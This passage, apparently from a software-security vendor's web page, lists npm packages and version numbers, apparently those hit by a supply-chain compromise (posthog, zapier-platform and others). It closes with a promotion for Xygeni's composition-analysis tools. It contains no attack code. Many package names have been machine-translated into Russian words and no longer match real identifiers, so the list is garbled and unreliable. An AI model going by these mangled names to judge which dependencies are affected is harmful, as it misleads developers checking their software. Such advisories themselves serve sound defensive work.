гипертерм-хипстер1.0.7
ids-css1.5.1
идентификаторы-enterprise-mcp-сервер0.0.2
идентификаторы-enterprise-ng20.1.6
идентификаторы-enterprise-типирование20.1.6
изображение-в-uri1.0.2 , 1.0.1
бессонница-плагин-случайный-выбор1.0.4
вызвать0.2.2
iron-shield-miniapp0.0.2
кнопка ito8.0.3
itobuz-angular0.0.1
itobuz-angular-auth8.0.11
itobuz-angular-button8.0.11
Джейкоб Зума1.0.2 , 1.0.1
jaetut-varit-test1.0.2
jan-браузер0.13.1
jquery-привязки1.1.3 , 1.1.2
jsonsurge1.0.7
просто поджаренный1.7.1
килл-порт2.0.3 , 2.0.2
korea-administrative-area-geo-json-util1.0.7
квами1.5.9 , 1.5.10
языковые коды1.0.2 , 1.0.1
license-o-matic1.2.2 , 1.2.1
lint-staged-imagemin1.3.1 , 1.3.2
lite-serper-mcp-server0.2.2
луно-апи1.2.3
ручная-биллинговая-система-мини-приложение-API1.3.1
medusa-plugin-announcement0.0.3
medusa-plugin-logs0.0.17
medusa-plugin-momo0.0.68
medusa-plugin-product-reviews-kvy0.0.4
medusa-plugin-zalopay0.0.40
mod10-контрольная-цифра1.0.1
mon-package-react-typescript1.0.1
мой-саид-либ0.1.1
n8n-nodes-tmdb0.5.1
n8n-nodes-vercel-ai-sdk0.1.7
n8n-nodes-viral-app0.2.5
наносброс7.0.2 , 7.0.1
следующая-циклическая-зависимость1.0.3 , 1.0.2
next-simple-google-analytics1.1.1 , 1.1.2
next-styled-nprogress1.0.4 , 1.0.5
ngx-useful-swiper-prosenjit9.0.2
ngx-wooapi12.0.1
обычный магазин1.3.1 , 1.3.4 , 1.3.3 , 1.3.2
obj-to-css1.0.3 , 1.0.2
okta-react-router-65.0.1
open2internet0.1.1
орбит-боксиконы2.1.3
инструменты для рисования орбитальной туманности1.0.10
редактор орбитальной туманности1.0.2
орбит-мыло0.43.13
оркестрикс12.1.2
пакет-тестер1.0.1
плагин-посылка-копировальный аппарат1.1.3 , 1.1.2
pdf-аннотация0.0.2
пиклит1.0.1
пико-жидкость1.0.4 , 1.0.3
pkg-readme1.1.1
poper-react-sdk0.1.2
постхог-докузаврус2.0.6
posthog-js1.297.3
posthog-node4.18.1 , 5.13.3 , 5.11.3
posthog-plugin-hello-world1.0.1
posthog-react-native4.11.1 , 4.12.5
posthog-react-native-session-replay1.2.2
таблица prime-one0.0.19
prompt-eng1.0.50
puny-req1.0.3
ra-auth-firebase1.0.3
ra-data-firebase1.0.8 , 1.0.7
react-component-taggers0.1.9
реагировать-данные-для-экспорта1.0.1
реагировать-элемент-подсказка-инспектор0.1.18
реагировать-favic1.0.2
реагировать-крючок-форма-сохраняться3.0.2 , 3.0.1
React-Jam-иконки1.0.2 , 1.0.1
react-keycloak-context1.0.8 , 1.0.9
react-library-setup0.0.6
реагировать-линейный-загрузчик1.0.2
react-micromodal.js1.0.2 , 1.0.1
react-native-datepicker-modal1.3.1 , 1.3.2
реагировать-нативный-электронная почта2.1.1 , 2.1.2
react-native-fetch2.0.1 , 2.0.2
react-native-get-pixel-dimensions1.0.2 , 1.0.1
react-native-google-maps-directions2.1.2
react-native-jam-icons1.0.2 , 1.0.1
реагировать на собственный уровень журнала1.2.2 , 1.2.1
реагировать-нативный-скромный-флажок3.3.1
реагировать-native-modest-storage2.1.1
реагировать на родной телефонный звонок1.2.2 , 1.2.1
react-native-retriable-fetch2.0.1 , 2.0.2
реагировать-нативно-использовать-модальный1.0.3
react-native-view-finder1.2.2 , 1.2.1
react-native-websocket1.0.4 , 1.0.3
React-Native-Worklet-функции3.3.3
реагировать-qr-изображение1.1.1
Rediff1.0.5
rediff-viewer0.0.7
redux-router-kit1.2.2 , 1.2.4 , 1.2.3
rollup-plugin-httpfile0.2.1
sa-регистрационный-номер-компании-регулярное-выражение1.0.2 , 1.0.1
sa-id-gen1.0.4 , 1.0.5
такой же1.0.3
scgs-capacitor-subscribe1.0.11
scgsffcreator1.0.5
set-nested-prop2.0.1 , 2.0.2
полка-jwt-сессии0.1.2
shell-exec1.1.4 , 1.1.3
шинхан-лимит-скрап1.0.3
навыки-использование0.1.2 , 0.1.1
solomon-api-stories1.0.2
solomon-v3-stories1.15.6
solomon-v3-ui-wrapper1.6.1
сортировка по расстоянию2.0.1
южноафриканский-id-info1.0.2
стат-фнс1.0.1
этаж2.3.2
ультра-commit1.0.1
svelte-autocomplete-select1.1.1
стройный-поджаристый1.1.3 , 1.1.2
tanstack-shadcn-table1.1.5
тксп2.0.2
tcsp-draw-test1.0.5
tcsp-test-vd2.4.4
шаблон-библиотека1.1.4 , 1.1.3
шаблон-микро-сервис1.0.3 , 1.0.2
цепкий-приманка2.3.3 , 2.3.2
тест-литейное-приложение1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
тест-hardhat-app1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
test23112222-api1.0.1
Тяань1.0.2
token.js-fork0.7.32
trigo-react-app4.1.2
типограда1.2.2 , 1.2.3
типорм-орбита0.2.27
undefsafe-typed1.0.4 , 1.0.3
uplandui0.5.4
загрузить в магазин Play Store1.0.2 , 1.0.1
URL-кодирование-декодирование1.0.2 , 1.0.1
использовать несохраненные изменения1.0.9
действительный-южно-африканский-идентификатор1.0.3
vf-oss-template1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
vite-plugin-httpfile0.2.1
vue-browserupdate-nuxt1.0.5
веб-скрейпер-mcp1.1.4
web-types-htmx0.1.1
веб-типы-лит0.1.1
webpack-loader-httpfile0.2.1
wellness-expert-ng-gallery5.1.1
венк1.0.9 , 1.0.10
zapier-async-storage1.0.3 , 1.0.2 , 1.0.1
zapier-platform-cli18.0.4 , 18.0.3 , 18.0.2
zapier-platform-core18.0.4 , 18.0.3 , 18.0.2
zapier-platform-schema18.0.4 , 18.0.3 , 18.0.2
zapier-скрипты7.8.3 , 7.8.4
zuper-cli1.0.1
zuper-sdk1.0.57
zuper-stream2.0.9
sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
7-дневная бесплатная пробная версия
Кредитная карта не требуется.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni